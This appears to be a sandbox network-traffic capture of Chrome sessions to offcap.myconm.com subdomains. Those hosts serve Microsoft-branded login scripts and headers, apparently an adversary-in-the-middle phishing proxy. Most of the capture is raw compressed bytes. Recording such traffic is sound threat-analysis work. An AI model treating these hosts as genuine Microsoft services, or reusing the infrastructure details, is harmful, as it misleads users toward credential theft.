Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.17	49805	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:52 UTC	692	OUT	GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1 Host: offcap.myconm.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://offcap.myconm.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: SNdymVN/YoAfMqPrBKkluw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-09 17:42:53 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:42:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 392a303a-a797-40f2-8e9c-b7bfbe312300 x-ms-ests-server: 2.1.19568.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	49806	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:55 UTC	522	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:57 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:56 GMT Content-Type: application/x-javascript Content-Length: 61130 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 0e67a5c9-001e-0063-59d0-442912000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174256Z-15b54885d96w7llbhC1FRA4qr80000000p4g000000003303 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:57 UTC	13654	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 79 5b db c8 b2 38 fc ff fd 14 46 cf 5c 8e 74 e8 38 36 59 26 b1 a3 f1 25 e0 24 9e 61 1b 96 59 0e e1 f0 08 bb 01 25 b6 e4 91 64 08 07 fc dd 7f 55 d5 bb 2c 19 98 99 fb de f7 99 09 96 5a d5 7b 75 75 75 75 2d fe 4d 9c 8c d2 9b 66 c1 c7 7c c2 8b ec f6 ec 86 9f 4f a3 e1 d7 1f f3 34 99 86 4b bf de df 9f 9c 06 cd e9 2c bf f2 4f 4e d6 4f d9 09 63 ec 62 96 0c 8b 38 4d 7c ce 0a 96 04 77 de 2c e7 8d bc c8 e2 61 e1 75 93 66 e6 17 01 4b 9a 23 bf 60 de 2f d1 78 c6 7f 82 0a 3c e6 eb 6c c1 5d c6 8b 59 96 34 b2 26 9f 07 1a b6 7f cd 93 62 3b 2a 78 32 bc ad 01 8f ca e0 fb 3c cb e3 1c b3 f0 9a 2c e7 56 96 a3 2c 1a f2 6d 7e cd c7 35 c0 23 0b 78 63 3a 1d 24 79 7c 79 55 e4 9b 69 56 5d 7c ec b4 e8 7d 94 f3 5a 50 bb e8 b3 fe 37 68 f2 88 8f 06 49 Data Ascii: y[8F\t86Y&%$aY%dU,Z{uuuu-Mf\|O4K,ONOcb8M\|w,aufK#`/x<l]Y4&b;*x2<,V,m~5#xc:$y\|yUiV]\|}ZP7hI
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: 8f 8d 7b fa b8 28 7f 7b 0b ec 2c ac 7c 6a 71 fd 99 29 fc 54 03 a1 39 e1 f0 27 84 a8 c4 9b f0 23 5f c6 44 fc b6 54 6f e2 61 ea 27 18 c5 8c 5f c7 e9 2c 17 24 30 8f 8b d2 99 56 89 bd 62 3b dd 95 54 09 67 1a 0b 3c 9f fe 06 b4 fe d8 0f 14 ad d6 dc 13 1e 75 81 68 ff 82 81 4f a6 d0 0a dd 02 12 4f 02 ef 52 72 da 01 64 d4 de a3 c9 67 07 29 32 a0 8a 5c 73 aa 72 23 c5 0c 93 67 dc a4 1c 6a 42 fa be a6 2e 6d 59 91 58 2c 35 0f 28 ca 52 91 4e 15 7d 00 f8 06 79 c2 93 5c b5 c5 3c 13 8b 9c a0 1c 8a fa ad e7 0c e7 c9 1d 38 7b 44 84 78 bd 6e 04 4a 1e 09 36 a3 04 8f bb 18 d2 52 44 e3 d5 e0 e8 9e 20 e7 c3 59 01 8b 6c 7c ab 0f b5 17 71 96 0b 78 a4 71 39 74 44 e7 f0 b4 a3 32 a0 79 3f 72 a1 8b 1f 2f 71 88 d2 fd 50 dd 48 54 5c ae 38 8e 88 b1 db c4 a6 a2 07 2b 8a 1d 5c 3d 66 14 ae Data Ascii: {({,\|jq)T9'#_DToa'_,$0Vb;Tg<uhOORrdg)2\sr#gjB.mYX,5(RN}y\<8{DxnJ6RD Yl\|qxq9tD2y?r/qPHT\8+\=f
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: ca dd 07 24 4b 4d 33 b7 95 d4 ec ad 48 db 30 2c de 3e db 9a 51 46 e7 6f c3 49 d9 71 7a 29 3b 1d ab 4e a7 e8 34 5d ab 2c 76 63 b8 42 fd b2 c6 30 c0 35 f0 32 ee 0c a8 93 03 d9 43 37 a3 9b 40 4d 70 4a b3 3b e8 b1 d5 c1 42 3f 4d e5 b5 df 9e ec 67 c6 f2 d7 b2 ab e2 bd b6 b7 0c f0 b5 16 93 04 f9 5b 5e 56 6a 36 5d 6c f6 84 c6 1d 47 39 4f 5f c2 b2 41 4e ad d7 f1 68 aa 3b 58 31 fa ed cd 55 09 4a d6 03 0b 0a 37 f3 39 92 58 8a 21 c1 a4 a6 66 2c 3f 2f 58 d1 0e d9 bd 00 21 bb 5d f1 43 50 20 62 a4 a2 2b 7e dc 67 ff f3 67 be 3e a3 ff 7f 20 0c 34 6d 10 10 43 70 6f 86 fa bf 07 ab 5f 15 26 2b 7c 22 6b 37 27 87 f9 01 c1 d8 28 03 6b c9 75 54 21 c7 f3 7f 0d 2e ca 57 9f 79 49 83 70 1c e9 04 d6 87 01 f3 cb b1 65 f2 94 10 e7 06 86 eb b0 ed d5 42 5b 8e 0d 40 7b e5 ed f2 47 09 aa Data Ascii: $KM3H0,>QFoIqz);N4],vcB052C7@MpJ;B?Mg[^Vj6]lG9O_ANh;X1UJ79X!f,?/X!]CP b+~gg> 4mCpo_&+\|"k7'(kuT!.WyIpeB[@{G
2024-12-09 17:42:57 UTC	14708	IN	Data Raw: c9 6f 28 42 3c 18 8e 23 59 43 2f 31 9d f0 51 87 ef 69 c2 ba f0 ff 32 cc f2 8b 7b 56 e0 4d 84 4b 8a 77 94 c2 94 2b bd 65 63 ba f6 d6 9c f5 82 75 1b e8 10 ee b9 ce de b4 b8 fe 90 87 82 f5 7a 16 0f 6e 22 a8 51 d7 a6 22 ae 23 7d 31 18 c7 b4 e2 1b 52 3c 40 85 2b 09 66 21 b8 1a 75 f6 c5 f3 e1 50 64 d1 1d 72 13 3d 52 ba 7c e0 44 00 59 c1 77 d8 28 d2 0d 66 be 6e dc 12 81 17 e7 54 f0 1b 99 fc f1 74 82 eb 66 03 c5 1c df 7a e3 6c 0c e6 b7 b3 f4 26 4a e4 c8 e4 8b 38 41 6f be 4d 36 e1 56 65 46 d0 a5 da 71 ef 84 a8 29 87 5c 4c 78 d5 e8 13 62 3d f1 81 73 83 42 73 ba 83 94 72 8b 6c 1a d1 5c 3b 03 f0 5e 69 f8 6c ca 66 af 3d 2d 43 58 72 b6 9f 3d 6c 7c 21 54 72 83 c0 61 14 de 3a f0 cc 0a df 22 fe 29 10 b3 7b e1 7d c4 df c3 cb 1b c2 b9 3e 02 2f 79 0f 4c ed 03 0e d6 39 9e 3e Data Ascii: o(B<#YC/1Qi2{VMKw+ecuzn"Q"#}1R<@+f!uPdr=R\|DYw(fnTtfzl&J8AoM6VeFq)\Lxb=sBsrl\;^ilf=-CXr=l\|!Tra:"){}>/yL9>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.17	49807	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:55 UTC	739	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:57 UTC	813	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:57 GMT Content-Type: application/x-javascript Content-Length: 116413 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:54 GMT etag: 0x8DCBD5317046A2F x-ms-request-id: 4d82a478-801e-0049-04d0-44be10000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174256Z-15b54885d967vv5qhC1FRAdx380000000nsg00000000qugb x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:42:57 UTC	15571	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 30 44 46 78 48 42 7a 98 49 02 07 c8 f4 f4 10 26 8f b0 cb 58 89 2d 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b bf 38 3c bb a8 9d bc ab 5d fc e5 f8 ec 6d ed 14 ee 7e ad 7d 3c b9 38 7e 73 b4 7e 3d d8 28 fe bb 18 fb 71 6d e4 4f 78 0d 7e af bd 98 0f 6b 61 50 0b a3 9a 1f 0c c2 68 16 46 5e c2 e3 da 14 fe 46 be 37 a9 8d a2 70 5a 4b c6 bc 36 8b c2 af 7c 90 c4 b5 89 1f 27 f0 d1 35 9f 84 77 35 13 aa 8b 86 b5 53 2f 4a 1e 6a c7 a7 56 0b ea e7 50 9b 7f e3 07 f0 f5 20 9c 3d c0 f5 38 a9 05 61 e2 0f 78 cd 0b 86 54 db 04 6e 82 98 d7 d2 60 c8 a3 da dd d8 1f 8c 6b 1f fc 41 14 c6 e1 28 a9 45 7c c0 fd 5b Data Ascii: k[H(}[-c0DFxHBzI&X-ytkJ&^~_jW;8<]m~}<8~s~=(qmOx~kaPhF^F7pZK6\|'5w5S/JjVP =8axTn`kA(E\|[
2024-12-09 17:42:57 UTC	14460	IN	Data Raw: 6d ac c9 9f a5 a5 69 3f ec 3f f5 3a 93 4b 23 4d 58 59 50 b3 d8 2e 14 c6 f1 60 90 76 39 a2 ca 7d 0a c4 6c 46 7b 28 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 c8 42 9b f2 5b ca 68 89 5e 36 a7 a4 09 a8 17 38 0d 53 1c 3e 97 1c 1a 24 8a 0d 4a a7 01 d5 4f e2 5c ba e4 73 91 1d cc fc 76 23 bb 17 f9 48 55 e3 fb 1d 24 72 d5 75 be 53 62 b7 c3 d2 4d f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 bb a2 08 85 dd c2 5c 74 9f 8e 83 c4 ee be 3e 32 f9 4f b1 b5 a0 9d 4a e3 1e b9 1b c2 f5 c8 77 a3 9e bf 9f 52 70 74 4a 3f 90 30 df 82 5a d0 fa 7a 03 ab 1b c1 71 f0 37 46 a2 a7 e2 09 4c c4 c8 f5 2d 06 8f 9b b6 66 24 5d 1b fd 14 d3 96 df 40 f3 44 2c e6 6f b8 f8 2d c3 e6 72 eb e7 a8 e9 1d a4 c2 1d 72 c3 23 61 49 cf 47 b7 27 7f 63 23 57 eb 4e 50 19 3b 86 a7 e3 7d af 37 d6 7a d7 44 92 9b fa Data Ascii: mi??:K#MXYP.`v9}lF{(rH)Iit>GYB[h^68S>$JO\sv#HU$ruSbML`\t>2OJwRptJ?0Zzq7FL-f$]@D,o-rr#aIG'c#WNP;}7zD
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: 7c 46 e4 95 82 16 49 7c ec d9 93 75 f4 c4 c8 b3 df 90 28 29 3e 50 20 f4 7a fb 3b 69 06 f5 84 e6 08 13 8d 89 a7 2d 26 3d 21 d6 55 2b 8c dd 61 58 a2 a0 98 c3 8f c7 00 a2 b1 60 bd 6d c3 85 f1 30 39 03 2e 39 87 8b 8e cc 32 c1 92 d3 39 b6 8d 45 23 4a af 0a 87 1c e0 c0 b6 77 49 49 41 cf a2 2e 9c 4c 3e b2 72 58 bb 38 46 3e 94 18 bb 88 ae f0 20 50 be 85 04 e7 5c c3 d9 00 67 f4 f0 c0 bf f4 f0 d0 e2 e5 18 da 5c 2b 82 1e 7f 09 1e c1 f8 23 6b b4 4d b0 93 d6 4a a8 1f 9d 0b a4 4a 4e 78 e1 68 c0 9b 25 86 ec 18 7c d9 06 6f ce 16 45 ea 47 07 2d 2b 5d 58 23 22 65 94 f1 26 16 c3 50 3a f0 cc dd 6f 6d 7e 36 0b fb d2 ec 67 10 bb 40 0d 5b 58 1d 0d 16 51 5c ec 99 6a d4 f8 89 6a d4 bc 76 bf cd eb 17 51 e7 c1 2b 4f 25 e6 fd 8c 67 e6 89 51 d2 ca 51 93 c0 2d 8d b9 cc 03 98 4b 6e 3d Data Ascii: \|FI\|u()>P z;i-&=!U+aX`m09.929E#JwIIA.L>rX8F> P\g\+#kMJJNxh%\|oEG-+]X#"e&P:om~6g@[XQ\jjvQ+O%gQQ-Kn=
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: 58 30 7c e6 5c dc 15 d1 0f 44 1b 1c 0c 68 2f 50 81 5a 99 82 63 bc ea c8 e9 58 c8 63 34 c0 98 5a 72 c5 37 ea 92 35 f5 47 96 07 bf 94 11 b6 f6 a5 01 52 f0 b5 7b 78 1e 96 b4 32 bb fc f0 dc 97 2a f9 fd 2d 51 15 77 0f f7 cc 24 40 a5 14 ea 63 40 52 1e 1e 4f e0 a4 07 42 9c 34 8d d1 c2 71 9a 34 5f 84 45 f8 63 1c dd c0 91 9a 34 15 f0 e0 40 55 67 c0 75 30 36 60 76 19 4c 8d ab 2b 80 c7 b5 40 03 76 01 1c d7 35 73 b2 28 8f 7f 41 dd 84 84 29 bb e1 0f ae c2 db e7 73 00 07 0e 25 75 2f d1 61 fa 55 52 c0 b8 cf e9 32 17 97 c6 22 ba 70 88 0c 50 9f 56 a7 80 65 98 21 b2 40 58 45 96 d4 92 fa 78 52 c0 14 56 2f e0 08 ba 10 7e 93 a5 bd 86 43 7b 0d e3 1c f5 f9 58 b2 61 c8 e3 25 46 e4 6d 80 45 c5 ef 8b 2c 4c 72 68 e4 f7 8a 3e 26 15 44 8f 5d 8c cd 7a 78 b8 36 0b 7f a2 01 fc 90 9e ac Data Ascii: X0\|\Dh/PZcXc4Zr75GR{x2*-Qw$@c@ROB4q4_Ec4@Ugu06`vL+@v5s(A)s%u/aUR2"pPVe!@XExRV/~C{Xa%FmE,Lrh>&D]zx6
2024-12-09 17:42:57 UTC	2737	IN	Data Raw: a1 07 dd 0e 3d 83 77 c1 59 b5 8a 5d 4a 5b f3 85 b8 09 13 4a 94 5e 5d 36 47 a8 ad f4 f1 8a 75 f0 9c 1c 59 c0 5a df 54 41 9d eb b3 8e f6 28 e6 b0 88 3f 7b b2 4a 6d d6 85 36 f5 5f 11 58 db 55 05 92 00 98 97 cf 52 db dd d7 f4 68 b1 c5 31 d4 9b 45 fa 53 b5 5a 86 aa 32 d6 0b f3 6f 27 af be 37 14 28 18 ab 67 d3 69 53 ec bd 79 ec e6 18 86 bc 0c e0 d4 99 5f 94 78 36 61 2c dc 81 1d a0 5e ed 24 a2 04 5c c8 b4 2d 22 06 31 2c 65 b6 85 95 db be 8c 9f cc cd 4f 56 76 65 3a 90 bf 71 b3 5a b0 60 5e 02 75 c8 ac 56 cb 28 13 0a ad 56 3c ac a8 66 37 0b 67 2e 01 5e a6 ee 1f 3d cb 8c 63 fc 2b df 48 b9 db 37 79 40 6d 6f 53 4e 1d c1 be e8 b8 20 08 17 21 ae 32 9d af 44 94 1b c4 f2 f6 8d e9 36 8d 1d 36 bf af e2 1f a8 1c b7 26 67 05 fc 54 41 65 7e f1 5b 70 56 d7 fe b5 69 7b 7d 7d 6f Data Ascii: =wY]J[J^]6GuYZTA(?{Jm6_XURh1ESZ2o'7(giSy_x6a,^$\-"1,eOVve:qZ`^uV(V<f7g.^=c+H7y@moSN !2D66&gTAe~[pVi{}}o
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: 6c 45 51 63 9a 1f 45 25 93 ea 16 20 43 75 d8 18 ba 3d 60 15 9d 99 12 00 d2 47 50 51 24 9a 09 a5 eb 26 03 2c 34 36 f3 2c 13 80 4c 36 84 0f 83 60 1d fc 31 2a 8c 30 3f f0 93 74 9a 44 a4 a0 66 c0 eb 14 1d e0 cc d5 82 8f 1c 60 62 bd c0 8c 73 92 8c 9c bd 07 4e b3 1a de e3 5e a0 e8 39 e8 b7 dc e5 9b c4 e8 96 30 02 fd 0e ea b6 9c c2 8c 60 80 57 f5 0b 0f 8c 75 4b 27 a3 3c 28 3a c0 18 74 6a 9d e7 76 e7 8d a1 c1 0d e2 05 45 a5 13 33 18 8d d4 cf 86 2d ea 67 a6 b3 53 c4 5c 59 58 85 6f 1e fe 77 36 cc 10 2c 91 b5 23 08 89 bd 4e 5a e9 c2 94 fd 30 6b 65 2b 40 4c d7 f0 38 dd 16 1e a7 c1 1a 00 8f b3 db e4 71 9c b8 5e 06 3c ce f3 5a d9 1a 1e 82 f9 07 4a ef 14 a2 9e 4a c3 bf 04 d0 45 12 a9 59 3f a9 fb ce 52 54 5c c4 75 b7 b7 09 29 bc f1 fe 27 8d a2 85 ad bc 27 e1 c1 11 00 fd Data Ascii: lEQcE% Cu=`GPQ$&,46,L6`1*0?tDf`bsN^90`WuK'<(:tjvE3-gS\YXow6,#NZ0ke+@L8q^<ZJJEY?RT\u)''
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: ca 23 f9 67 0c f6 1a 1b 56 46 4c f7 5b 21 af 3f 1b 9b 35 52 32 51 3a c4 7c 14 0f 05 36 6e d5 4e 85 55 bb 1b 4c 83 b0 95 89 8c c4 6e 26 92 ed e8 06 1f 3f dd 64 58 2f 0b dc 24 83 c0 08 9c a3 5c 23 7d 44 55 76 19 a0 b4 e4 4b d0 75 2c f4 3d ae 2c 09 7d e9 48 4f 09 7d 49 c4 9b 16 fa 36 28 20 e8 48 d7 c8 58 47 43 c1 ef 58 b5 95 7d e0 27 01 1b 9a ef ac 70 04 67 dc e3 26 60 d4 87 29 a2 06 97 cc 91 85 c2 8a 8d a1 17 3d 81 2b fa c0 f5 8c d0 f8 08 28 26 d6 47 b3 a3 48 4f 1b c6 f6 9b 36 3c e0 36 7a 23 9c 59 df 1c a5 cd 71 1d 20 c1 a9 dc 34 1f e6 73 4f f7 d3 e6 b8 01 3d 96 e6 b8 be e9 77 66 dc 1c d7 57 2c c3 98 78 db 37 53 f6 62 b1 da 6a c4 26 ec 8e 63 2e ca 79 a6 a7 2a b6 1f 9a be a1 0f f5 bb e2 04 39 38 4a 00 33 39 b9 6b 4d 0a 05 36 06 e4 36 41 69 ee 08 a5 b9 34 fa Data Ascii: #gVFL[!?5R2Q:\|6nNULn&?dX/$\#}DUvKu,=,}HO}I6( HXGCX}'pg&`)=+(&GHO6<6z#Yq 4sO=wfW,x7Sbj&c.y*98J39kM66Ai4
2024-12-09 17:42:57 UTC	16384	IN	Data Raw: 12 44 03 25 02 31 9b 0c 87 ef 38 9f 1f 2b 47 e8 d4 c4 2c e3 e4 fc dc 37 9d d4 6c a2 31 e5 9a d9 84 83 37 8b 37 47 96 9c 68 80 f3 b1 35 91 af 00 6b 9e c0 c1 14 83 04 f3 29 6d 56 58 b9 79 b0 60 30 9a 03 64 c9 85 11 ef d0 7c c0 cc 8a ef cf 3e 5e fe 72 71 7b 76 7d 7d f6 fb ed eb 4f 6f de 5c 5c df fe 72 79 f1 eb 0d fa be 65 7f 79 ac 7c 89 67 09 a9 a0 17 30 5e 68 55 0d bf 53 a6 ef a0 e1 70 35 f9 62 6b 86 76 ee cb 00 dd 57 44 1e 18 55 67 73 bc 5a 89 d3 2b 62 0e b5 94 ad 91 10 87 48 a3 0f ca bb 28 e0 0b 6d 62 7d 5c 45 32 14 75 0a f6 a9 ab 68 23 06 ba f6 ab ef b9 c3 3d 5e 5b e3 46 4b ad de 89 03 70 48 90 56 e8 75 4d bf d3 03 20 44 09 2d 50 05 9b 99 43 a6 d0 42 3d 4e 4a 21 6d d0 1b e4 cd bf 0d 8a 20 f1 d2 8a 1c 50 6e 2c dc 45 51 82 0a 70 37 79 b1 ff 1a 26 33 95 66 Data Ascii: D%18+G,7l177Gh5k)mVXy`0d\|>^rq{v}}Oo\\ryey\|g0^hUSp5bkvWDUgsZ+bH(mb}\E2uh#=^[FKpHVuM D-PCB=NJ!m Pn,EQp7y&3f
2024-12-09 17:42:57 UTC	1725	IN	Data Raw: 0f 19 bb e4 aa 71 bf 40 a7 97 0e 29 24 9f f6 49 1c 55 3c 5d 8f d6 71 2b 77 1d c8 02 6d e2 96 e9 a7 0a c0 7b b0 61 24 8b e1 38 b4 14 4a 93 61 45 77 1c cf de 2f 2d fb 7e 69 d9 f7 ab 97 7d 7f 69 d9 57 8f fb 35 8b da de 39 d4 a4 54 ea 7f da 68 b8 ef 0c 4d e7 9f 10 3b bc 50 3a 7a 42 ae 8a f2 1e ef 27 57 89 61 bc 9f 5d 25 6c f1 3e b8 52 66 ed 7d 5e dc e7 8d e4 bf d2 f6 e5 4f d1 26 5b d6 7f 96 8a e8 bd 3b 4d 1c a2 df 6e e2 f0 1b 8c 1b a8 2f 15 f6 0d b2 37 05 33 07 ca fc fb 2d 1d 8a 23 5d fc a5 75 f7 97 d6 5d 51 eb ae 6c 18 f4 27 98 be 64 ff 09 33 85 bf 0c 6b fe 8b 0c 6b 3a 1b 5b 4f d8 b2 86 1c 71 4c a5 8b 8d 89 b4 a7 99 ad 30 96 59 69 06 fc 60 13 59 60 5c b3 a2 49 8c f0 80 e0 5b 3b ad c7 ad 8d 8e 74 c3 4b 9e 13 32 96 1a 02 f3 78 ce 8e 28 c5 20 90 15 8f aa 0d 51 Data Ascii: q@)$IU<]q+wm{a$8JaEw/-~i}iW59ThM;P:zB'Wa]%l>Rf}^O&[;Mn/73-#]u]Ql'd3kk:[OqL0Yi`Y`\I[;tK2x( Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.17	49808	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:55 UTC	832	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: aa45faf7-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:56 UTC	489	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Dec 2024 17:42:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: 2086b97e-21fb-4359-ad84-15ff54ea7044 x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 80F7F6DDF0E542C0AD2281AB24283C00 Ref B: AMS231032610049 Ref C: 2024-12-09T17:42:56Z access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:56 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2024-12-09 17:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	49809	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
